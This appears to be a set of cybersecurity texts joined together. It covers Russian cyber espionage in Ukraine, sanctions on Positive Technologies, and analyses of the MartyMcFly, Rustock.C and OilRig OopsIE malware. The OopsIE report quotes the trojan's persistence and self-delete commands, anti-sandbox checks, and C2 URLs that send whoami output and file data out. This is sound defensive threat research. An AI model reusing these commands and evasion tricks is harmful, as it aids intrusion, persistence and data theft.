cyber attacks, without addressing cyber intelligence operations. Likewise, Erica Lonergan, Shawn Lonergan, Brandon Valeriano, and Benjamin Jensen observed in the context of Ukraine that cyber operations “don’t win wars, but instead support espionage, deception, subversion and propaganda efforts.” This dichotomy omits the fact that espionage during wartime might indeed help one side win. In fact, intelligence collection accounts for a significant portion, perhaps even a majority, of Moscow’s wartime cyber operations in Ukraine. Ukraine’s national cybersecurity agency has reported that “enemy hackers” carried out 242 “information gathering” operations during the first four months of the war. By comparison, the agency counted only 56 cyber operations that affected the “availability” of Ukrainian systems (that is, cyber fires). To be sure, cyber operations are difficult to meaningfully quantify and accurately characterize. The same Ukrainian government document counted an even greater number of cyber operations (498) as falling into ambiguous categories—such as “intrusion,” “intrusion attempt,” or “malicious code”—that do not indicate a clear perpetrator intent or operational outcome. The CyberPeace Institute, which relies on public data and records only cyber incidents impacting civilian systems, gives a lower total number of incidents. Still, it too shows that data thefts (43) were more frequent than destructive cyber attacks (15) from late February through October. (CyberPeace also recorded 103 disruptive cyber attacks during this period—mostly low-level incidents that are easy to carry out and have limited impact.) These figures are far from definitive, but they match what one might expect. Militaries at war do more than just launch attacks: intelligence remains a crucial task, even after fighting breaks out. U.S. doctrine, for example, defines intelligence as one of seven joint military functions—equivalent in stature to fires. And we know from peacetime and gray zone conditions that cyber operations can be a powerful espionage tool. This may be no less true in wartime. To remedy the lack of attention given to Russian wartime cyber intelligence collection, this section assesses some key ways that such collection might aid Moscow’s larger war effort: by providing support to strategic planning, targeting, occupation activities, influence operations, and/or negotiations. ### For Strategic Planning In the lead-up to February 24, the critical military decisions for Moscow were whether, when, and how to attack Ukraine. Putin’s process for making these decisions is unclear, but a rational leader would want intelligence assessments of Ukraine’s ability and willingness to resist an invasion (among other topics), and Russian security services made significant efforts to meet this need. Ukrainian officials say their intercepts show that, from 2019 to 2021, the Russian Federal Security Service (FSB) unit responsible for Ukraine quintupled in size. Moscow recruited Ukrainian spies not only to provide sensitive information but also to prepare acts of subversion and to facilitate political handover in the event of a Russian invasion. More than 800 Ukrainians—including some senior intelligence officers and opposition politicians—have recently been accused of covertly working for Russia. Moscow supplemented these human intelligence (HUMINT) activities with other kinds of collection. A research firm “with close ties to the FSB” conducted extensive polling in the run-up to the war, “quer[ying] Ukrainians about invasion scenarios in extraordinary detail” to determine how ordinary people would view Russian invaders and whether they would fight back. Information gleaned from cyber operations was probably also part of Moscow’s intelligence picture. Western analysts have long believed that Russia has pervasively penetrated Ukrainian phone networks. In 2014 and 2017, for example, U.S. officials accused Russia of repeatedly recording and leaking sensitive, high-level phone conversations between Washington and Kyiv. Until 2014, most Ukrainian telecoms networks were owned by Russians or Russian-Ukrainians. While this changed after the annexation of Crimea, Moscow’s likely former knowledge and access could still be facilitating ongoing intrusions. Russia’s cyber espionage, much like its HUMINT activities, grew in the run-up to war. Microsoft reported that “as 2021 progressed, threat actors representing multiple Russian government security services converged on Ukraine to surveil or compromise organizations that could provide valuable intelligence on a Ukrainian military, diplomatic, or humanitarian response to Russian military action.” The “target pool” included “Ukrainian defense, defense industrial base, foreign policy, national and local administration, law enforcement, and humanitarian organizations.” It is difficult to judge the utility of Russia’s prewar cyber intelligence collection. We lack concrete insight into what information Russian hackers were able to obtain from Ukrainian networks, how analysts in Moscow weighed cyber intelligence against data gathered from other sources, what assessments were ultimately communicated to Putin, and how these reports might have influenced his final decisions to approve and execute the initial war plan. What we do know is that Moscow grossly underestimated Ukraine’s political and military staying power, likely for a multitude of reasons. Russian intelligence agencies have been blamed for their unreliable human sources in Ukraine, their embezzlement of funds, their history of deficits in analytic capability, their poisonous inter-service rivalries, and their lack of candor (both internally and when communicating with Putin). Meanwhile, Putin-watchers have suggested that ideological fervor and poor judgment led him to misinterpret or discount the information available to him. While Kremlinologists debate these factors’ relative importance, the overall picture seems clear: deep institutional weaknesses prevented the Russian state from accurately assessing Ukraine’s politico-military situation. In such an environment, cyber intelligence collection—no matter how exquisite and voluminous—may have had limited relevance. ### For Targeting Perhaps the most obvious wartime use of cyber intelligence collection is to provide targeting information for kinetic attacks. This can be done in many different ways, two of which are explored below. First, Russia could use cyber operations to surveil and reconnoiter potential high-value targets for deliberate, precision strikes. Moscow has launched thousands of missiles, air strikes, and precision artillery rounds during the war. Russian stockpiles were large but finite, suggesting the potential value of intelligence in confirming the importance of priority targets and identifying specific aimpoints to cause maximum lasting damage. Although Russian forces have frequently used precision weapons against less significant targets, they have achieved greater impact when attacking strategic Ukrainian assets such as the Yavoriv military base (destroyed by a thirty-missile salvo) and heavy weapons manufacturing plants. Other frequent targets of Russian strikes include port, rail, air, and energy infrastructure, as well as residential and commercial areas (likely targeted to terrorize the populace). It is inherently hard to observe whether and how Russian cyber intelligence operations are informing deliberate strikes. Still, Microsoft has highlighted two cases where a Russian network intrusion was followed several days later by a Russian missile strike on a seemingly related target. On March 4, assessed GRU cyber actors “compromised a government computer network in Vinnytsia”; two days later, Russia launched eight cruise missiles that damaged military and civilian portions of the Vinnytsia airport, including two control towers and an aircraft. Separately, on April 29, another GRU cyber actor was seen “active[ly operating] within” a “transportation sector network” in Lviv; four days later, Russia missiles struck electrical substations alongside Lviv’s railway. In both cases, the timelines make it plausible that Russian cyber actors were feeding intelligence to missile targeteers. However, more detailed information would be needed to support such an assessment and evaluate its significance. For example, Microsoft has not said whether the compromised Vinnytsia government computer network had any connection to the airport, and if so, whether Russian hackers obtained any data relevant for missile targeting. Assuming they did, the next question would be whether cyber espionage actually enhanced the missile strikes’ effectiveness—that is, by helping to confirm the target’s priority and/or refine the aimpoints, and to do this more accurately or rapidly than non-cyber intelligence sources could. By way of example, Russia apparently relied on HUMINT agents to designate certain strike targets in the early hours of the war. But some of these agents provided outdated information that failed to account for last-minute dispersal of aircraft and air defense systems. Had Russian strikes been informed by cyber-enabled communications intercepts or real-time geolocation of key assets and units, Moscow might have had more success in initial operations, such as the crucial airborne assault on Hostomel’s Antonov Airport. From the sparse data available, it isn’t obvious that cyber intelligence would have been important for the Vinnytsia or Lviv strikes. Cyber espionage would not be needed to discern the Vinnytsia airport’s military importance: its dual-use status was public knowledge, and radar tracks would have confirmed the frequency and patterns of military and civilian flights. Key infrastructure targeted by the missiles—including control towers—was readily identifiable in satellite imagery. The Lviv railway and substations were also in plain sight, though it is conceivable that Russian cyber espionage helped to confirm the railway’s logistical importance and its dependence on the targeted substations.
# The $1 Billion Russian Cyber Company That the US Says Hacks for Moscow Patrick Howell O'Neill The Biden administration sanctions six Russian companies over cyber activities. The list includes the well-known Moscow security firm Positive Technologies. US officials privately believe Positive provides hacking tools and support to Russian intelligence. The hackers at Positive Technologies are undeniably good at what they do. The Russian cybersecurity firm regularly publishes highly regarded research, examines cutting-edge computer security flaws, and has spotted vulnerabilities in networking equipment, telephone signals, and electric car technology. However, American intelligence agencies have concluded that this $1 billion company—headquartered in Moscow but with offices around the world—does much more than that. Positive was one of several technology businesses sanctioned by the US for its role in supporting Russian intelligence agencies. President Joe Biden declared a national emergency to address the threat he says Moscow poses to the United States. The details of the sanctions released by the Treasury Department only cover a small fraction of what the Americans now believe about Positive’s role in Russia. MIT Technology Review understands that US officials have privately concluded that the company is a major provider of offensive hacking tools, knowledge, and even operations to Russian spies. Positive is believed to be part of a constellation of private sector firms and cybercriminal groups that support Russia’s geopolitical goals, which the US increasingly views as a direct threat. The public side of Positive is like many cybersecurity companies: staff look at high-tech security, publish research on new threats, and even have cutesy office signs that read “stay positive!” hanging above their desks. The company is open about some of its links to the Russian government and boasts an 18-year track record of defensive cybersecurity expertise, including a two-decade relationship with the Russian Ministry of Defense. However, according to previously unreported US intelligence assessments, it also develops and sells weaponized software exploits to the Russian government. One area that stands out is the firm’s work on SS7, a technology critical to global telephone networks. In a public demonstration for Forbes, Positive showed how it can bypass encryption by exploiting weaknesses in SS7. Privately, the US has concluded that Positive did not just discover and publicize flaws in the system but also developed offensive hacking capabilities to exploit security holes that were then used by Russian intelligence in cyber campaigns. Much of what Positive does for the Russian government’s hacking operations is similar to what American security contractors do for United States agencies. However, there are major differences. One former American intelligence official, who requested anonymity because they are not authorized to discuss classified material, described the relationship between companies like Positive and their Russian intelligence counterparts as “complex” and even “abusive.” The pay is relatively low, the demands are one-sided, the power dynamic is skewed, and the implicit threat for non-cooperation can loom large. American intelligence agencies have long concluded that Positive also runs actual hacking operations itself, with a large team allowed to run its own cyber campaigns as long as they are in Russia’s national interest. Such practices are illegal in the western world: American private military contractors are under direct and daily management of the agency they’re working for during cyber contracts. Former US officials say there is a tight working relationship with the Russian intelligence agency FSB that includes exploit discovery, malware development, and even reverse engineering of cyber capabilities used by Western nations like the United States against Russia itself. The company’s marquee annual event, Positive Hack Days, was described in recent US sanctions as “recruiting events for the FSB and GRU.” The event has long been famous for being frequented by Russian agents. NSA director of cybersecurity Rob Joyce said the companies being sanctioned "provide a range of services to the SVR, from providing the expertise to developing tools, supplying infrastructure and even, sometimes, operationally supporting activities,” Politico reported. One day after the sanctions announcement, Positive issued a statement denying “the groundless accusations” from the US. It pointed out that there is “no evidence” of wrongdoing and said it provides all vulnerabilities to software vendors “without exception.” Thursday’s announcement is not the first time that Russian security companies have come under scrutiny. The biggest Russian cybersecurity company, Kaspersky, has been under fire for years over its relationships with the Russian government—eventually being banned from US government networks. Kaspersky has always denied a special relationship with the Russian government. However, one factor that sets Kaspersky apart from Positive, at least in the eyes of American intelligence officials, is that Kaspersky sells antivirus software to western companies and governments. There are few better intelligence collection tools than antivirus software, which is purposely designed to see everything happening on a computer and can even take control of the machines it occupies. US officials believe Russian hackers have used Kaspersky software to spy on Americans, but Positive—a smaller company selling different products and services—has no equivalent. Recent sanctions are the latest step in a tit for tat between Moscow and Washington over escalating cyber operations, including the Russian-sponsored SolarWinds attack against the US, which led to nine federal agencies being hacked over a long period. Earlier this year, the acting head of the US cybersecurity agency said recovering from that attack could take the US at least 18 months.
# MartyMcFly Malware: Targeting Naval Industry Today I’d like to share an interesting analysis of a targeted attack found and dissected by Yoroi. The victim was one of the most important leaders in the field of security and defensive military-grade naval ecosystem in Italy. Everything started from a well-crafted email targeting the right office asking for naval engine spare parts prices. The mail was quite clear, written in great language with detailed spare parts matching the real engine parts. The analysed email presented two attachments to the victim: - A company profile, aiming to present the company that was asking for spare parts. - A Microsoft .XLSX where (apparently) the list of the needed spare parts was available. The attacker asked for a quotation of the entire spare part list available on the spreadsheet. In such a way, the victim needed to open the included Microsoft spreadsheet in order to enumerate the “fake customer” needs. Opening the Excel file gets the victim infected. Let’s go deep into that file and see what is happening there. At first sight, the office document had encrypted content available on OleObj.1 and OleObj.2. Those objects are real encrypted Ole Objects where the encrypted payload sits on the “EncryptedPackage” section, and information on how to decrypt it is available on the “EncryptionInfo” XML descriptor. However, at that time, the EncryptionInfo was holding the encryption algorithm and additional information regarding the payload, but no keys were provided. The question here was disruptive: How is Microsoft Excel able to decrypt such content if no password is requested from the end user? In other words, if the victim opens the document and is not aware of the “secret key,” how can they get infected? And why did the attacker use an encrypted payload if the victim cannot open it? ## Stage 1: Encrypted Content Using an encrypted payload is quite a common way to evade antivirus, since the encrypted payload changes depending on the used key. But what is the key? Well, in Microsoft Excel, there is a common way to open documents called “Read Only.” In “Read Only” mode, the file can be opened even if encrypted. Microsoft Excel asks the user for a decryption key only if the user wants to save, print, or modify the content. In that case, Microsoft programmers used a special and static key to decrypt the “Read Only” documents. Such a key has the following value: “VelvetSweatshop.” Let’s try to use this “key” to decrypt the content! A quick analysis on Stage 2 exposes a new object inclusion. That object was crafted on 2018-10-09 but was seen only on 2018-10-12. At this time, the extracted object is clear text, and no encrypted content was found at all. ## Stage 2: Extracted Payload It’s not hard to see what the payload does (CVE-2017-11882), but if you run it on a dynamic engine, you would probably have more chances to prove it. The payload exploits CVE-2017-11882 by spawning the Equation Editor, dropping, and executing an external PE file. We might define the Equation Editor dropping and executing as Stage 3. Evidence of what was dissected is shown where the Equation Editor network trace is provided. We are introducing a new stage: Stage 4. GEqy87.exe (Stage 4) is a common Windows PE. It’s placed inside an unconventional folder (js/jquery/file/…) into a compromised and thematic website. This placement usually has a duplicitous target: (a) old school or unconfigured IDS bypassing, (b) hiding malicious software into a well-known and trusted folder structure in order to persist over website upgrades. ## Stage 4: According to Virus Total Stage 4 is pretty interesting per se. It’s a nice piece of software written in Borland Delphi 7. According to VirusTotal, the software was “seen in the wild” in 2010 but submitted only on 2018-10-12! This is pretty interesting, isn’t it? Maybe hash collision over multiple years? Maybe a buggy variable on VirusTotal? Or maybe not; something more sophisticated and complex is happening out there. Looking into GEqy87, it’s quite clear that the sample was hiding an additional Windows PE. On one hand, it builds up the new PE directly in memory by running decryption loops (not reversed here). On the other hand, it fires up 0xEIP to a pre-allocated memory section in order to reach a new available code section. ## Stage 5: Windows PE Hidden into GEqy87.exe Stage 5 deploys many evasion tricks such as: GetLastInputIn, SleepX, and GetLocalTime to trick debuggers and sandboxes. It makes an explicit date control check to 0x7E1 (2017). If the current date is less than or equal to 0x7E1, it ends up skipping the real behaviour, while if the current date is, for example, 2018, it runs its behaviour by calling “0xEAX” (typical control flow redirection on memory crafted). For more technical details, please have a look at the analysis. What looks very interesting, at least from my personal point of view, are the following evidences: - Assuming there were not hash collisions over years. - Assuming VirusTotal: “First Seen in The Wild” is right (and not bugged). We might think that: “we are facing a new threat targeting (as of today) the naval industry, planned in 2010 and run in 2018.” The name MartyMcFly comes pretty naturally here since the “interesting date-back from Virus Total.” I am not confident about that date, but I can only assume VirusTotal is right.
# Rustock.C – Unpacking a Nested Doll Unpacking Rustock.C is a challenging task. If you are tired of boring crosswords or Sudoku puzzles and feel like your brain needs a real exercise, think about reversing Rustock.C - satisfaction (or dissatisfaction, depending on the result) is guaranteed. Rustock.C story began a week ago when one AV vendor publicly disclosed new details about the latest variant of Rustock. As soon as the sample of Rustock.C was obtained, many researchers started their journey into the center of the rootkit. A first quick look at the driver code reveals a simple decoder. In spite of being simple, it is still a good idea to debug it to see what exactly it produces on its output. In order to debug a driver, different malware researchers prefer different tools. In our case, let’s start from WinDbg configured to debug a VMWare session running in debug mode. The very first question one might ask is how to put a breakpoint into the very beginning of the driver code. Some researchers would hook IopLoadDriver() in the kernel to intercept the code before it jumps into the driver, in order to step in it by slowly tracing single instructions. A simple known trick, however, is to build a small driver (and keep it handy) with the first instruction being “int 3”. Once such driver is loaded, the debugger will pop up with the Debug Breakpoint exception. Stepping out from that place leads back into the kernel’s IopLoadDriver() function – right into the point that follows the actual call to the driver. Now, the actual call instruction address is known - a new breakpoint needs to be placed in it. With the new breakpoint in place, it is time to load the Rustock.C driver in the virtual environment controlled by the debugger. Once loaded, the debugger breaks at the call instruction in the kernel’s IopLoadDriver(). Stepping into the driver, placing a new breakpoint at the end of its decoder, and letting it run until it hits that breakpoint allows unpacking the code that was hidden under that decoder. The first-layer decoder reveals a code with a myriad of fake instructions, blocks of code that do nothing, random jumps from one place to another – a huge maze created with only one purpose – to complicate threat analysis by obfuscating and hiding the truly malicious code. Tracing that code within the debugger might be easier with the disassembly listing of that code in user mode. One way to get that listing is to reconstruct the driver as a PE-executable by resetting the DLL bit in its PE-header characteristics and changing its subsystem from Native (0x01) to Windows GUI (0x02) to make the debugger happy to load it. Another way is to reconstruct a normal PE-executable by building and compiling an Assembler program that includes the top-level Rustock’s decryptor followed by a large stub of encoded data simply copied from the original driver code. Building a PE-executable equivalent of the Rustock.C driver helps to study the code behind the first-layer decoder. Such a program can now be loaded into a user-mode debugger, such as OllyDbg, and the first-layer decoder can now be debugged in user mode to unpack the code behind it. Once unpacked, the entire process can be dumped and reloaded into the disassembler. At this point of analysis, the code behind the first-layer decoder reveals interesting occurrences of DRx registers manipulations, IN/OUT instructions, “sidt/lidt” instructions, and some other interesting code pieces - for example, a code that parses an MZ/PE header: ``` 00011C0A cmp word ptr [eax], ‘ZM’ 00011759 mov bx, [eax+3Ch] 00011E31 cmp dword ptr [eax+ebx], 'EP' ``` The code in general now looks like “spaghetti” – and still, it’s just a second-layer decryptor. Placing the breakpoints for all the “interesting” instructions in the driver code is a good idea. The addresses need to be offset by a difference between the driver’s entry point reported with a kernel debugger and the entry point of the driver’s PE-executable equivalent, as reported by the user mode debugger. With the new breakpoints in place, the code will firstly break on the instruction that searches for an MZ-header of the ntkrnlpa.exe: ``` cmp word ptr [eax], ‘ZM’ ``` In order to find the image base of ntkrnlpa.exe, Rustock.C looks up the stack to find the return address inside ntkrnlpa.exe. It rounds that address up and starts sliding it backwards by the amount of the section alignment until it reaches the image base of ntkrnlpa.exe. Once the start of ntkrnlpa.exe is found, the driver then parses its PE-header, locates, and parses the export table. Previous variants of Rustock contained explicit imports from ntkrnlpa.exe. This time, Rustock.C obtains kernel’s exports dynamically, by parsing its memory image – the same trick was widely used by user-mode malware in the past, when the kernel32.dll’s exports were dynamically obtained during run-time by using the hash values of the export names. Now that it knows kernel exports, the driver calls ExAllocatePoolWithQuotaTag() to allocate 228,381 bytes in the non-paged pool (tagged as “Info@”). The rootkit code then copies itself into that pool and jumps in it to continue its execution from that place. During the execution, Rustock.C repeats the same trick again – it allocates another 278,528 bytes in the non-paged pool, copies itself into it, and transfers control there. This way, the code of the driver "migrates" from one memory location to another. While the "abandoned" areas preserve the severely permutated code, and thus, not easily suitable for scanning, the addresses of the newly allocated areas in the non-paged pool cannot be predicted. Thus, even if the infected driver and its address range in the kernel are established, it is still not clear where the final "detectable" form of Rustock.C code is located. Following memory allocation tricks, Rustock employs “lidt/sidt” instructions to patch IDT. Executing “lidt” in WinDbg might crash the operating system in the virtual machine. Therefore, “lidt” instruction needs to be skipped (by patching EIP with the address of the next instruction). Another set of instructions that are better to be skipped with the debugger are DRx-registers manipulations. By zeroing the debug registers Dr0-Dr3 and the debug control register DR7, the rootkit might attempt to cause trouble for SoftIce – any suspicious instructions need to be skipped for safety reasons. Following that, Rustock.C driver reads the configuration of devices on a PCI bus by using IN/OUT instructions with the PCI_CONFIG_ADDR and PCI_CONFIG_DATA constants. It then starts a few nested loops to read certain data from the devices attached to a PCI bus. The read data is then hashed with the purpose of creating a footprint that uniquely identifies the hardware of the infected host. Debugging the Rustock.C driver is easier if the successful code execution path is saved into a map (e.g., a hand-written one). Every successfully terminated loop should be reflected in that map. The relative virtual addresses recorded in it allow skipping long loops when the code is analyzed again from the beginning – they should be considered “the milestones” of the code flow. If a wrong move crashes the system, the virtual machine needs to be reverted to a clean snapshot, the debugger restarted, and the entire debugging process repeated by using the successful “milestones” from the map. The map of the execution “milestones” should tell what to skip, when to break, what to patch, where to jump – in order to navigate the code successfully through all the traps that the authors of Rustock have set against emulators, debuggers, run-time code modifications, etc. Whenever the driver attempts to access data at a non-existing address, the code needs to be unwound backwards to establish the reason why the address is wrong. In most cases, following the logic of the code helps to understand what values should replace the wrong addresses. For example, at one point of execution, Rustock.C driver crashes the session under WinDbg by calling the following instruction while the contents of ESI is not a valid address: ``` mov esi, dword ptr [esi] ``` In order to “guide” the code through this crash, the driver needs to be re-analyzed from the very beginning to check if this instruction is successfully called before the failure and if it does, what the valid contents of ESI is at that moment of time. As stated above, the PE-executable equivalent of the driver loaded into the user-mode debugger and disassembler helps to navigate through the code, search instructions in it, search for the code byte sequences, and place comments - a good helper for kernel debugging. The code of Rustock.C debugged at this stage is a 2nd-layer decryptor that will eventually allocate another buffer in the non-paged pool where it will decrypt the final, but still, ridiculously permutated “spaghetti” code of the driver – this time, with the well-recognizable strings, as shown in the following dumps. PS: Special thanks to Frank Boldewin for exchanging his tips and ideas with me.
# OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE **By Robert Falcone, Bryan Lee and Riley Porter** **September 4, 2018 at 1:00 PM** **Category: Unit 42** **Tags: evasion, Middle East, OilRig, OopsIE** The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics. As observed in previous attack campaigns, the tools used are not an exact duplicate of the previous attack and instead are an iterative variant. In this instance, a spear phishing email was used containing a lure designed to socially engineer and entice the victim to execute a malicious attachment. The attachment was identified as a variant of the OopsIE trojan we identified in February 2018. In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems. ## Attack Details In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency. During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT. The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT. The email subject was in Arabic, which translated to “Business continuity management training.” The email was sent to an address belonging to a user group, rather than a specific individual’s email address. Based on open source data collection, it appears the targeted group had publicly published several documents regarding business continuity management on the Internet, indicating the lures were purposefully crafted for this specific attack. ## Evasion Techniques The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks. If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code. These evasion techniques are meant to thwart automated analysis in an effort to avoid detection. | Technique | Description | |---------------------|-------------| | Fan Check | The Trojan will perform the following WMI query: `Select * from Win32_Fan`. This query should return a class that provides statistics on the CPU fan. The Trojan checks to see if the result of this query returned a class with more than 0 elements, which would most likely be true in a non-virtual environment. | | Temperature Check | The Trojan will perform the following WMI query: `SELECT * FROM MSAcpi_ThermalZoneTemperature`. The Trojan will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine. | | Mouse Pointer Check | The Trojan will perform the following WMI query: `Select * from Win32_PointingDevice`. The Trojan will check the Caption, Description, HardwareType, InfSection, Manufacturer and Name fields in the results for the string VMware, Virtual, VBox, VM or Oracle. | | Hard Disk Check | The Trojan will perform the following WMI query: `Select * from Win32_DiskDrive`. The Trojan will check the Caption and Model fields in the results for the strings Virtual, VMWare, VM, VBox or Oracle. | | Motherboard Check | The Trojan will perform the following WMI query: `Select * from Win32_BaseBoard`. The Trojan will check the Manufacturer and Product fields in the results for the strings VMware, Virtual, VBox, VM or Oracle. | | Sandboxie DLL Check | The Trojan will attempt to load the SbieDll.dll module via LoadLibrary. | | VBox DLL Check | The Trojan checks to see if the file vboxmrxnp.dll exists in the system directory. | | VMware DLL Check | The Trojan checks to see if the files vmGuestLib.dll or vmbusres.dll exist in the system directory. | | Timezone Check | The Trojan checks to see if the system is configured (“DaylightName”) with one of the following time zones: Arabic Daylight Time (UTC+3), Arab Daylight Time (UTC+3), Arabian Daylight Time (UTC+4), Middle East Daylight Time (UTC+2), Iran Daylight Time (UTC+3.5). | | Human Interaction Check | Before executing its functional code, the Trojan presents a dialog box with the following line of code: `Interaction.MsgBox(encodedStringClass.return_user32_bogus_errorcode_(3), MsgBoxStyle.Critical, null);`. This dialog box displays "An error occurred while processing user32.dll!", which the user must click the ok button for the Trojan to run its functional code. | **Table 1**: List of anti-VM and anti-sandbox techniques used by OopsIE Most of these evasion techniques have been observed in other malware families; however, a few of the techniques were more novel. First, we had not seen the CPU fan check used before, and upon testing the WMI query in a VMware Windows 7 virtual machine, we saw no result. However, when we ran the same query in a physical system running Windows 7, we saw the contents of the Win32_Fan class. The OopsIE payload checks to see if the result of this query has more than 0 elements to determine if it is running on a virtual machine. Secondly, the CPU temperature check seen in this payload was previously used by GravityRAT, as discussed earlier this year by security researchers at Talos. They noted that while virtual machines were detected by this technique, some physical systems were also detected as virtual machines because they did not support the WMI query. This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query. The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set. The Trojan compares the TimeZone.CurrentTimeZone.DaylightName property to strings Iran, Arab, Arabia, and Middle East, which will match the following time zones in Windows: Arabic Daylight Time (UTC+3), Arab Daylight Time (UTC+3), Arabian Daylight Time (UTC+4), Middle East Daylight Time (UTC+2), Iran Daylight Time (UTC+3.5). The fact that the Trojan will not operate on systems that are not configured with these time zones suggests that this is a highly targeted attack focused on a specific subset of target nations. ## Notable Differences The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog. The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server. For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands. Also, this version of the Trojan inspects HTTP responses from the C2 server for the tags `<pre>` and `</pre>` and will parse that data for commands. However, there are many differences introduced to this version of OopsIE from the previously discussed variant. At face value, this current variant of OopsIE has a vast majority of its strings obfuscated, which can be deobfuscated by splitting the strings using the hyphen as a delimiter, treating each split value as an integer, subtracting one from each integer and converting each into a character. The following code snippet was used to decode strings within OopsIE: ```python out = "" for e in obfuscated_string.split("-"): out += chr(int(e)-1) ``` When first run, this OopsIE variant runs a variety of checks to avoid running in an analysis environment, as discussed in the previous section. The last check requires the user to click the ‘Ok’ button in an error dialog box. After displaying the error dialog box, the Trojan will sleep for two seconds by running the following command that runs the choice application. The use of the choice command did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack. ```cmd cmd.exe /C choice /C Y /N /D Y /T 2 & Del ``` After sleeping, the Trojan will create a GUID and write it to `%APPDATA%\Windows\GDI.bin`. It then moves itself to `%APPDATA%\Windows\WindowsImplantment.exe` and sets both of these files to have the hidden and system flags to hide them from the user. With the Trojan moved to its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contain obfuscated strings that contain the command to create the scheduled task and the VBScript to run. The decoded string from the Sch resource is: ```cmd SchTasks /Create /SC MINUTE /MO 3 /TN “%n%” /TR “wscript %path%” /f ``` The decoded string from the VBS resource is: ```vbscript CreateObject(“WScript.Shell”).Run(“%app%”) ``` The `%n%` string in the schtasks command above will be replaced with the GUID saved to GDI.bin. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. The `%path%` string in the scheduled task command will be replaced with the path to the following: ```plaintext %APPDATA%\Windows\ShwDoc.VBS ``` The decoded string from the VBS resource is written to ShwDoc.VBS. The `%app%` string in the VBScript is replaced with `%APPDATA%\Windows\WindowsImplantment.exe`. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. This particular sample uses the following domain as its C2 server: ``` www.windowspatch[.]com ``` One obvious difference between this version of OopsIE compared to the previously analyzed version is the strings in the C2 URLs are reversed, from chk to khc, what to tahw and resp to pser. Also, the oops string used to signify an erroneous transmission from the C2, which gave OopsIE its name, is reversed to spoo. This variant of OopsIE uses the output of the whoami command as the parameter within the URL when communicating with the C2 server, which differs from the previous OopsIE variant that used the hostname and username from the environment variables. The C2 communications begin with a beacon to the following URL: ``` hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)> ``` If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL. If the Trojan receives this echo, it will create the following file that the Trojan uses as a signal that it was able to successfully communicate with its C2 server: ``` %APPDATA%\Windows\ShwDoc.srv ``` If the Trojan determines the C2 server wishes to send a command, it sends an HTTP request to the following URL: ``` hxxp://www.windowspatch[.]com/tahw?<hex(STDOUT of whoami command)> ``` The Trojan will first check the response to this request for the string spoo, which signifies the C2 does not wish to issue a command. Otherwise, the Trojan will attempt to parse the response for a command, specifically by splitting the decoded response on `<>` and treating the text to the left of the `<>` string as the command and the text to the right as the command arguments. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2, and 3) commands seen in Table 2. The one difference in this command handler from the previous version is the boom! command, which allows the actor to uninstall the OopsIE Trojan from the system. | Command | Description | |---------|-------------| | 1 | Runs a supplied command and writes its output to `%APPDATA%\SchWin.vbs`, which will then be uploaded to the C2 server. | | 2 | Downloads a file to the system. Splits argument on “(|)”, with the string to the left representing the filename to save and the string to the right representing the data to write to the file. | | 3 | Reads specified file and uploads its contents to the C2 server. | | boom! | Deletes GID.bin, ShwDoc.VBS, and ShwDoc.srv files, as well as the scheduled task whose name is a GUID stored in the GID.bin file. | **Table 2**: OopsIE commands When sending data to the C2 server after running commands, the Trojan will use the following URL structure with either BBY or BBZ splitting the whoami output and the exfiltrated data: ``` http://www.windowspatch.com/pser?<hex(STDOUT of whoami command) (BBZ|BBY)hex(up to 1000 bytes of hexadecimal data)> ``` ## Conclusion The OilRig group remains a persistent adversary in the Middle East region. They continue to iterate and add capabilities to their tools while still functionally using the same tactics over and over again. Within the time frame we have been tracking the OilRig group, they have repeatedly shown a willingness to add less commonly found functionality to their tools, such as their heavy use of DNS tunneling in their backdoors or adding authentication to their webshells. This attack is no different, now adding anti-analysis capabilities into their tools. This adversary is highly resourceful and continues to adapt over time. However, the tactics they continue to deploy are generally unsophisticated, and simple security hygiene would help organizations protect themselves against this threat. Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by: - AutoFocus customers can track this Trojan with the OopsIE tag. - All known OopsIE samples are marked with malicious verdicts in WildFire. - All known OopsIE C2 domains have DNS signatures and are classified as Command and Control. ## Indicators of Compromise **OopsIE Trojan** - 36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23 - 055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9 - 6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761 - 9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17 **OopsIE C2** - defender-update[.]com - windowspatch[.]com
